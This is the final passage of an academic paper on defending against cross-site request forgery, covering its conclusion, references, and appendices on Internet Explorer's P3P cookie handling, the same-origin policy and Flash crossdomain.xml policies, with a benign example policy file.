tacks the attention they deserve. Once web developers are
made aware of CSRF attacks, they can use tools like the
ones we have created to protect themselves.
We suggest the creators of frameworks add CSRF pro-
tection to their frameworks, thereby protecting any site
built on top of such a framework. Adding CSRF protec-
tion at the framework level frees developers from dupli-
cating code and even the need to understand CSRF at-
tacks in detail (although understanding these attacks is
recommended). Until every site is protected from CSRF
attacks, users can take steps to protect themselves using
our browser plugin for Firefox. Similar plugins could be
written for other browsers.
The root cause of CSRF and similar vulnerabilities
probably lies in the complexity of todays Web protocols,
and the gradual evolution of the Web from a data presenta-
tion facility to a platform for interactive services. As more
capabilities are added to browser clients, and as more sites
involve sophisticated programming and client-server in-
teractive services, CSRF and related attacks will become
more prevalent unless defenses are adopted. As the com-
plexity of Web technologies continue to increase, we can
expect further new categories of attacks to emerge.
10
References
[1] About Metalter. http://www.metafilter.
com/about.mefi.
[2] Allowing cross-domain data loading.
http://livedocs.adobe.com/flash/
9.0/main/wwhelp/wwhimpl/common/
html/wwhelp.htm?context=LiveDocs_
Parts&file=00001085.html.
[3] Catalyst. http://www.
catalystframework.org/.
[4] Code Igniter. http://www.codeigniter.
com/.
[5] django. http://www.djangoproject.
com/.
[6] Metalter: Lost Password? http://www.
metafilter.com/login/lostpassword.
mefi.
[7] Privacy in Internet Explorer 6. http:
//msdn2.microsoft.com/en-us/
library/ms537343.aspx.
[8] Ruby on Rails. http://www.rubyonrails.
org.
[9] Struts. http://struts.apache.org/.
[10] The New York Times: Media Kit 2007.
http://www.nytimes.whsites.net/
mediakit/pages/d_aud_target.html.
[11] The Same-Origin Policy. http://livedocs.
adobe.com/flash/9.0/main/wwhelp/
wwhimpl/common/html/wwhelp.htm.
[12] Web Security Threat Classication. http://
www.webappsec.org/projects/threat/.
[13] YouTube Fact Sheet. http://www.youtube.
com/t/fact_sheet.
[14] Ellacoya Data Shows Web Trafc Over-
takes Peer-to-Peer (P2P) as Largest Per-
centage of Bandwidth on the Network.
http://www.ellacoya.com/news/pdf/
2007/NXTcommEllacoyaMediaAlert.pdf,
Jun 2006.
[15] ING Press Release. http://www.rsa.com/
press_release.aspx?id=7220, Aug 2006.
[16] Alexa Top Sites. http://www.alexa.com/
site/sales, Sep 2007.
[17] A. Barth, C. Jackson, and J. C. Mitchell. Robust
Defenses for Cross-Site Request Forgery. In CCS,
2008.
[18] A. Bortz and D. Boneh. Exposing private infor-
mation by timing web applications. In WWW 07:
Proceedings of the 16th international conference on
World Wide Web, pages 621628, New York, NY,
USA, 2007. ACM Press.
[19] J. Burns. Cross Site Reference Forgery: An in-
troduction to a common web application weak-
ness. http://www.isecpartners.com/
documents/XSRF_Paper.pdf, 2005.
[20] D. Endler. The Evolution of Cross Site Scripting
Attacks. http://cgisecurity.com/lib/
XSS.pdf, May 2002.
[21] R. Fielding, J. Gettys, J. Mogul, H. Frystyk, L. Mas-
inter, P. Leach, and T. Berners-Lee. Hypertext Trans-
fer Protocol HTTP/1.1, 1999.
[22] J. Franks, P. Hallam-Baker, J. Hostetler,
S. Lawrence, P. Leach, A. Luotonen, and L. Stewart.
HTTP Authentication: Basic and Digest Access
Authentication, 1999.
[23] J. Grossman. CSRF, the sleeping giant. http:
//jeremiahgrossman.blogspot.com/
2006/09/csrf-sleeping-giant.html,
Sep 2006.
[24] M. Johns and J. Winter. RequestRodeo: Client Side
Protection against Session Riding. In F. Piessens,
editor, Proceedings of the OWASP Europe 2006
Conference, refereed papers track, Report CW448,
pages 5 17. Departement Computerwetenschap-
pen, Katholieke Universiteit Leuven, May 2006.
[25] M. Johns and J. Winter. Protecting the Intranet
Against JavaScript Malware and Related Attacks.
In DIMVA, 2007.
[26] N. Jovanovic, E. Kirda, and C. Kruegel. Preventing
Cross Site Request Forgery Attacks. Securecomm
and Workshops, 2006, pages 110, Aug. 28 2006-
Sept. 1 2006.
[27] T. Schreiber. Session Riding: A Widespread
Vulnerability in Todays Web Applications.
http://www.securenet.de/papers/
Session_Riding.pdf, 2004.
[28] C. Shiett. Security Corner: Cross-Site Re-
quest Forgeries. http://shiflett.
org/articles/cross-site-request-
forgeries, Dec 2004.
11
[29] C. Shiett. The crossdomain.xml Witch Hunt.
http://shiflett.org/blog/2006/oct/
the-crossdomain.xml-witch-hunt, Oct
2006.
[30] C. Shiett. The Dangers of Cross-Domain Ajax with
Flash. http://shiflett.org/blog/2006/
sep/the-dangers-of-cross-domain-
ajax-with-flash, Sep 2006.
A Internet Explorer and CSRF
Cookies can be used to track users across multiple web-
sites. For example, suppose an advertiser hosts an image
(an ad) on his server that is included by a large number
of publisher sites. The advertiser could set a cookie when
the image is displayed, which would allow the advertiser
to identify a single user as he visits different publisher
sites. That is, when the user vists a publisher site and loads
the advertisers image, his cookie would be sent back to
the advertiser and uniquely identied. Advertisers can use
these cookies to compile data about users surng habits.
Concern over such an adverse impact of cookies on user
privacy led to the creation of the Platform for Privacy
Preferences (P3P). P3P provides a common syntax and
transport mechanism that enables Web sites to communi-
cate their privacy practices to Internet Explorer 6 (or any
other user agent) [7]. Beginning with Internet Explorer
6, Microsoft began requiring that all sites include a P3P
policy in order to receive third-party cookies.
According to Microsoft:
Advanced cookie ltering works by evaluat-
ing a Web sites privacy practices and deciding
which cookies are acceptable based on the sites
compact policies and on the users own prefer-
ences. In the default settings, cookies that are
used to collect personally identiable informa-
tion and do not allow users a choice in their use
are considered unsatisfactory. By default, un-
satisfactory cookies are deleted in the rst-party
context when the browsing session ends and are
rejected in the third-party context [7].
(Note that P3P policies are not veried. If a site claims
to have an acceptable policy, Internet Explorer allows
third-party cookies.)
Suppose a user is on a page that contains an image
located on a third-party site. In the context of P3P, the
third-party site is potentially dangerous while the page
the user is on is considered safe. With CSRF vulnera-
bilities, the opposite is truethe page the user is on is
potentially dangerous while the third-party site is consid-
ered safe (and a potential target of attack). When Internet
Explorer considers a third-party site to be dangerous, it
prevents cookes from being sent to that site. This effec-
tively prevents CSRF attacks when session cookies are
used, because Internet Explorer is stripping authentication
information from cross-site requests.
Internet Explorers P3P policy has an interesting effect
on CSRF vulnerabilities. Sites with valid P3P policies
are not protected against CSRF attacks (Internet Explorer
considers these sites safe and allows cookies) while sites
without policies are protected (Internet Explorer consid-
ers these sites unsafe and blocks cookies) from CSRF at-
tacks. Note that this only applies to CSRF vulnerabilities
affecting sites using cookies for authentication. Sites us-
ing other types of authentication may still be vulnerable
to CSRF attacks.
To summarize, Internet Explorers use of P3P results
in users of IE being protected from CSRF attacks when
session cookie authentication is used and when target
sites do not implement P3P policies. This protection is
an unintended consequence of P3P policies and should not
be exclusively used to prevent CSRF attacks. Sites should
instead implement our server-side recommendations, as
described in Section 4.1.
B The Same-Origin Policy
Web browsers have the difcult task of allowing users to
maintain secure, private connections with multiple web-
sites while also allowing access to untrusted sites that con-
tain untrusted code. Additionally, sites are able to load re-
sources from different domains. For example, site a.com
can load images or JavaScript fromb.com using <img> or
<script> tags respectively. However, if a user is logged-
in to a trusted site, an untrusted third-party should obvi-
ously not be able to read the contents of the trusted site.
The desire to allow untrusted sites to display data from an
external site while still maintaining the privacy of this data
led to the creation of the same-origin policy [11]. This
policy denes both the meaning of origin and the sites
capabilities when accessing data from a different origin.
The policy considers two pages to have the same origin
if the protocol, port (if given), and host are the same for
both pages [11]. According to the same-origin policy, a
site cannot read or modify a resource from a different ori-
gin. It can, however, send a request for a resource from
a different origin. Therefore, while evil.com can in-
clude the image http://trusted.com/image.gif in
its site using the <img> tag, it cannot read the pixel data
of this image. Similarly, while evil.com can include
http://trusted.com/private.htm in its site using
the <iframe> tag, it cannot access or modify the contents
of the page displayed by the browser.
The same-origin policy only prevents a third-party site
from reading data from another site, it does not prevent
12
these third-party sites from sending requests. Since CSRF
attacks are caused by requests being sent (causing some
action to be performed on the server-side), the same-
origin policy does not prevent CSRF attacks. Instead, it
only protects the privacy of the data on third-party sites.
Sites sometimes nd it useful or necessary to com-
municate across different domains. Adobe has proposed
a mechanism, called the cross-domain policy [2], that
would allow its Flash plugin to communicate (send and
receive data) with different domains in certain cases. This
mechanism is currently only used by Flash. Speci-
cally, a site can specify which third-party sites can ac-
cess it. A third-party site can only contact a trusted site
if that trusted site lists the third-party site in its cross-
domain policy le. The following example cross-domain
policy le allows access to requests originating from
www.friendlysite.com, *.trusted.com, and the IP address
64.233.167.99. These les are named crossdomain.xml
and placed at the root of the domain.
<?xml version="1.0"?>
<cross-domain-policy>
<allow-access-from
domain="www.friendlysite.com" />
<allow-access-from domain="
*
.trusted.com" />
<allow-access-from domain="64.233.167.99" />
</cross-domain-policy>
Suppose the above le were located at
http://trusted.com/crossdomain.xml.
If a request were made by evil.com to
http://trusted.com/private.htm using Flash,
Flash would rst load http://trusted.com/
crossdomain.xml to verify that evil.com is listed as
a trusted domain. Since it is not in the list, the request
would be blocked. On the other hand, Flash would allow
the same request from www.friendlysite.com, since
it exists in the list of allowed domains.
When used properly, Adobes cross-domain policy al-
lows both more protection against CSRF attacks than
the same-origin policy (the request cannot even be ini-
tiated unless a matching crossdomain.xml is found)
and more exibility (cross-domain communication is al-
lowed if the target site trusts the initiating site). How-
ever, the cross-domain policy is often used improperly,
where a target site puts an accept all clause. This al-
lows third-party access from any site, whether malignant
or benign. This improper and extremely dangerous use of
crossdomain.xml les is even perpetuated by what ap-
pears to be an Adobe afliated
8
site, crossdomainxml.
org. This site provides an example of this accept all
cross-domain policy le, with absolutely no explanation
of the dangers involved in using this policy le. For more
8
The domain crossdomainxml.org is registered to
Theodore E Patrick of PowerSDK Software Corp who claims to be
a Technical Evangelist for Flex at Adobe Systems on his LinkedIn
prole (http://www.linkedin.com/in/tedpatrick)
information on the dangers of using this type of cross-
domain policy le, see Chris Shiett ([30] and [29]).
We analyzed 500 top websites [16] and found 143 us-
ing crossdomain.xml policy les. Of those 143 sites,
47 sites accept all connections from third-party sites, pos-
sibly resulting in CSRF vulnerabilities.
Adobes cross-domain policy can be effective and safe,
when used with care. However, care must be taken to
explain the dangers of the accept all solution.
13